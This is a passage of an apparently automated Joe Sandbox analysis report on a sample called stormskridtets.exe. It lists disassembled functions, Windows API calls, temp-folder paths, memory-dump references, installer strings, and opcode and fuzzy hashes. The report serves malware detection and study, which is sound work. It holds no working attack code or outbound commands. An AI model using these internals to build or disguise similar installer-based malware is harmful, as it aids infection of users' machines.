                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: FilePointer
                                    • String ID:
                                    • API String ID: 973152223-0
                                    • Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                    • Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
                                    • Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                    • Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D
                                    Function 00404379 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                    Download Yara Rule
                                    APIs
                                    • SendMessageW.USER32(00000028,?,00000001,004041A4), ref: 00404387
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: MessageSend
                                    • String ID:
                                    • API String ID: 3850602802-0
                                    • Opcode ID: 33429e90f145919918c0f5a16300b6ae2cb664e9c61a266d81822a9c1fb78e21
                                    • Instruction ID: 9ccc480ae856a8f761d654a46a9a0801f91457f8e33b58f107ae6609e89c6df3
                                    • Opcode Fuzzy Hash: 33429e90f145919918c0f5a16300b6ae2cb664e9c61a266d81822a9c1fb78e21
                                    • Instruction Fuzzy Hash: 51B09235181A00AADE914B00DE09F457A62A7A4701F00C029B241240B4CAB200A4DB0A
                                    Function 00404366 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                    Download Yara Rule
                                    APIs
                                    • KiUserCallbackDispatcher.NTDLL(?,0040413D), ref: 00404370
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CallbackDispatcherUser
                                    • String ID:
                                    • API String ID: 2492992576-0
                                    • Opcode ID: fb2bbd85db119072699d8509dbb0c67ddc0fed6d182cd9e62e167e16add427de
                                    • Instruction ID: f32ebe17383345fd09930a0b12515434b8b37a693fa3d318b2a69664ac7713bd
                                    • Opcode Fuzzy Hash: fb2bbd85db119072699d8509dbb0c67ddc0fed6d182cd9e62e167e16add427de
                                    • Instruction Fuzzy Hash: 97A00176405540AFEE029B61EF09D4ABB72ABA9701B4185B9A286A0034CB364860EB1D
                                    Function 73C9121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GlobalAlloc.KERNELBASE(00000040,?,73C9123B,?,73C912DF,00000019,73C911BE,-000000A0), ref: 73C91225
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: AllocGlobal
                                    • String ID:
                                    • API String ID: 3761449716-0
                                    • Opcode ID: 8a4940033d9003a39aff06243984b1fee05d2624067d596db0b6a35f18050733
                                    • Instruction ID: b55a5843cc3be422c74714518a50c3c6bad935cd4785b87ae824297dc0e8e2ee
                                    • Opcode Fuzzy Hash: 8a4940033d9003a39aff06243984b1fee05d2624067d596db0b6a35f18050733
                                    • Instruction Fuzzy Hash: 00B012B2A00080DFEE00EB65CC06F343254E700301F175000F708E41C0C1204C008534

                                    Non-executed Functions

                                    Function 00406ADB Relevance: .6, Instructions: 644COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: a7144ec80bc57e4a157ce578fd36c1a62405af2eb10cf945af7c62523e0dd5bc
                                    • Instruction ID: aa9a9a9043ab19da72a5809615668842a6418ed7375c71d31bc326d3ad7a68ac
                                    • Opcode Fuzzy Hash: a7144ec80bc57e4a157ce578fd36c1a62405af2eb10cf945af7c62523e0dd5bc
                                    • Instruction Fuzzy Hash: 0E42AE70D04249DFEF15CF98C480AEEBBB4AF15308F15846BDC5AEB286D338A945CB65
                                    Function 0040603A Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130memorystringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061D5,00000000,00000000), ref: 00406075
                                    • GetShortPathNameW.KERNEL32(?,007A55E8,00000400), ref: 0040607E
                                      • Part of subcall function 00405E49: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040612E,00000000,[Rename],00000000,00000000,00000000), ref: 00405E59
                                      • Part of subcall function 00405E49: lstrlenA.KERNEL32(00000000,?,00000000,0040612E,00000000,[Rename],00000000,00000000,00000000), ref: 00405E8B
                                    • GetShortPathNameW.KERNEL32(?,007A5DE8,00000400), ref: 0040609B
                                    • wsprintfA.USER32 ref: 004060B9
                                    • GetFileSize.KERNEL32(00000000,00000000,007A5DE8,C0000000,00000004,007A5DE8,?), ref: 004060F4
                                    • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406103
                                    • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 0040613B
                                    • SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,007A51E8,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406191
                                    • GlobalFree.KERNEL32(00000000), ref: 004061A2
                                    • CloseHandle.KERNEL32(00000000), ref: 004061A9
                                      • Part of subcall function 00405EE4: GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\stormskridtets.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405EE8
                                      • Part of subcall function 00405EE4: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F0A
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
                                    • String ID: %ls=%ls$[Rename]$Uz$]z
                                    • API String ID: 2171350718-2939442745
                                    • Opcode ID: 0ed23fd09f20e9f0b0e4ce5e0ebdd9c0c92abb0a06c9999cd82c312b58dee0fa
                                    • Instruction ID: 03fe7b931bffc2b02635af9c10f4e714808f3729e90155368a1b4a6ed52067ca
                                    • Opcode Fuzzy Hash: 0ed23fd09f20e9f0b0e4ce5e0ebdd9c0c92abb0a06c9999cd82c312b58dee0fa
                                    • Instruction Fuzzy Hash: 44312370600B05BFD6206B618D48F6B3A6CDF86744F15013AFD42FA2C3DA3C99218ABD
                                    Function 0040669D Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                    Download Yara Rule
                                    APIs
                                    • CharNextW.USER32(?,*?|<>/":,00000000,00000000,771B3420,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\stormskridtets.exe",0040347D,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC,?,00000007,00000009,0000000B), ref: 00406700
                                    • CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040670F
                                    • CharNextW.USER32(?,00000000,771B3420,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\stormskridtets.exe",0040347D,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC,?,00000007,00000009,0000000B), ref: 00406714
                                    • CharPrevW.USER32(?,?,771B3420,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\stormskridtets.exe",0040347D,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC,?,00000007,00000009,0000000B), ref: 00406727
                                    Strings
                                    • *?|<>/":, xrefs: 004066EF
                                    • "C:\Users\user\Desktop\stormskridtets.exe", xrefs: 0040669D
                                    • C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040669E
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Char$Next$Prev
                                    • String ID: "C:\Users\user\Desktop\stormskridtets.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
                                    • API String ID: 589700163-3783414687
                                    • Opcode ID: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
                                    • Instruction ID: 12c80e2bf748d1a62cb3884e1ae38c2d534281e125f75e63bd15dfe73c9398b2
                                    • Opcode Fuzzy Hash: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
                                    • Instruction Fuzzy Hash: E711EB15800A1255DB303B148C84A7763F8EF947A4F56443FED86732C0E77D4C9286BD
                                    Function 00402F2B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402F49
                                    • MulDiv.KERNEL32(000DEF22,00000064,000DFA28), ref: 00402F74
                                    • wsprintfW.USER32 ref: 00402F84
                                    • SetWindowTextW.USER32(?,?), ref: 00402F94
                                    • SetDlgItemTextW.USER32(?,00000406,?), ref: 00402FA6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Text$ItemTimerWindowwsprintf
                                    • String ID: "$verifying installer: %d%%
                                    • API String ID: 1451636040-2944543834
                                    • Opcode ID: e04d04eb7b63203ce5fd1c353c1d281d58231c4b0d3ff082bc1608e2171a15b6
                                    • Instruction ID: 448c993359d53400b231c8c55bc41b2c2aaf26e1e6946bd82a433317a94b79bc
                                    • Opcode Fuzzy Hash: e04d04eb7b63203ce5fd1c353c1d281d58231c4b0d3ff082bc1608e2171a15b6
                                    • Instruction Fuzzy Hash: 1101FF70640209BBEF209F60DE4AFAA3B79EB04349F008039FA16A51D1DBB999559F58
                                    Function 004043AB Relevance: 12.1, APIs: 8, Instructions: 68COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetWindowLongW.USER32(?,000000EB), ref: 004043C8
                                    • GetSysColor.USER32(00000000), ref: 00404406
                                    • SetTextColor.GDI32(?,00000000), ref: 00404412
                                    • SetBkMode.GDI32(?,?), ref: 0040441E
                                    • GetSysColor.USER32(?), ref: 00404431
                                    • SetBkColor.GDI32(?,?), ref: 00404441
                                    • DeleteObject.GDI32(?), ref: 0040445B
                                    • CreateBrushIndirect.GDI32(?), ref: 00404465
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                    • String ID:
                                    • API String ID: 2320649405-0
                                    • Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
                                    • Instruction ID: 7fe0b9bd09f79c55d2aa0e3576d5328f94b18663b05207f77db8afc097fd36db
                                    • Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
                                    • Instruction Fuzzy Hash: F62174B15007049BCB319F78D948F5BBBF8AF80714B048A3EE9D2A26E1C734E905CB58
                                    Function 73C925B5 Relevance: 9.1, APIs: 6, Instructions: 109COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 73C9121B: GlobalAlloc.KERNELBASE(00000040,?,73C9123B,?,73C912DF,00000019,73C911BE,-000000A0), ref: 73C91225
                                    • GlobalFree.KERNEL32(?), ref: 73C926A3
                                    • GlobalFree.KERNEL32(00000000), ref: 73C926D8
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Global$Free$Alloc
                                    • String ID:
                                    • API String ID: 1780285237-0
                                    • Opcode ID: 059c16d9bbf890564de0b5878da4e65c529802bc75c2aa03160b5cc08735e044
                                    • Instruction ID: d08dfe02b820316b34a68bf62a83a7e906c9944b2e5ef3f795a0ae30e2c8b59a
                                    • Opcode Fuzzy Hash: 059c16d9bbf890564de0b5878da4e65c529802bc75c2aa03160b5cc08735e044
                                    • Instruction Fuzzy Hash: B931CF7210414DEFE716EF66CC94F2A77BAEB853007274129F285DB990C731AC04CB69
                                    Function 73C918D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: FreeGlobal
                                    • String ID:
                                    • API String ID: 2979337801-0
                                    • Opcode ID: 73e44d4a7f8da1889409db8f3cd60358198ef60bcfcf7835d4fd77feff5746f0
                                    • Instruction ID: 1e95e8c897a3a0ab37276d2d31fb96b555e471f97f14b7c8b1e443b2306bba47
                                    • Opcode Fuzzy Hash: 73e44d4a7f8da1889409db8f3cd60358198ef60bcfcf7835d4fd77feff5746f0
                                    • Instruction Fuzzy Hash: 02511B32D401599FFB029FA685427ADB7BAEF44310F07429AD407EB184DE70AF81879D
                                    Function 73C923E0 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GlobalFree.KERNEL32(00000000), ref: 73C92522
                                      • Part of subcall function 73C9122C: lstrcpynW.KERNEL32(00000000,?,73C912DF,00000019,73C911BE,-000000A0), ref: 73C9123C
                                    • GlobalAlloc.KERNEL32(00000040), ref: 73C924A8
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 73C924C3
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
                                    • String ID:
                                    • API String ID: 4216380887-0
                                    • Opcode ID: ca0e1bb5936a62e7df2779b5dfbd387321bfbbabbe49914afc1195d422010b51
                                    • Instruction ID: f2eaf5430f86404b443aac5980033e6f1f2b83011d20a256f3c52dcaece8fe62
                                    • Opcode Fuzzy Hash: ca0e1bb5936a62e7df2779b5dfbd387321bfbbabbe49914afc1195d422010b51
                                    • Instruction Fuzzy Hash: 5D41ACB100838DDFF725EF669840B6677F8FB48310F13491DE58ACA581DB30A944CBAA
                                    Function 73C9161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
